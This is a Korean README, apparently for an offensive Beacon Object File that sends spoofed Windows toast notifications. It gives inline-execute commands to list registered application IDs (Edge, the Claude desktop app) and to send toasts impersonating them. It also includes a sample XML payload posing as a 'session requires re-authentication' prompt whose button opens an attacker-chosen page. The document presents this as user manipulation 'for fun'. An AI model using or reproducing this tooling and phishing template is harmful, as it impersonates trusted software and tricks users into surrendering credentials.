
Windows 토스트 알림을 악용한 재미와 사용자 조작
Windows 토스트 알림을 전송하기 위한 Beacon Object File (BOF)입니다. 전체 컨텍스트와 사용 사례는 블로그 게시물과 함께 제공됩니다.
시스템에 등록된 AUMID(애플리케이션 사용자 모델 ID)를 열거합니다. 토스트를 보내기 전에 빌릴 적절한 ID를 찾는 데 사용합니다.
inline-execute toastnotify.o go getaumid
출력 예시:
[Notifications\Settings - HKCU]
Microsoft.Windows.Explorer
MSEdge
com.squirrel.AnthropicClaude.claude
...
[Notifications\Settings - HKLM]
...
com.squirrel.AnthropicClaude.claude
...
제목과 본문 텍스트가 있는 표준 토스트 알림을 전송합니다. 내부적으로 ToastGeneric을 사용하여 XML을 빌드합니다.
inline-execute toastnotify.o go sendtoast "MSEdge" "Title" "Notification body"
임의의 base64로 인코딩된 XML 페이로드에서 토스트를 전송합니다. 전체 템플릿 지원(작업, 프로토콜 링크, 이미지, 진행률 표시줄, 선택 입력, 히어로 이미지)을 통해 흥미로운 작업이 이루어집니다. 그리고 그에 맞는 앱이 있습니다!
inline-execute toastnotify.o go custom "MSEdge" "<base64-encoded-xml>"
인코딩 전 예제 페이로드:
<toast>
<visual>
<binding template="ToastGeneric">
<text>Action Required</text>
<text>Your session requires re-authentication. Click to continue.</text>
</binding>
</visual>
<actions>
<action content="Continue"
activationType="protocol"
arguments="https://your-page-here.com"/>
</actions>
</toast>
인코딩하고 즐기세요.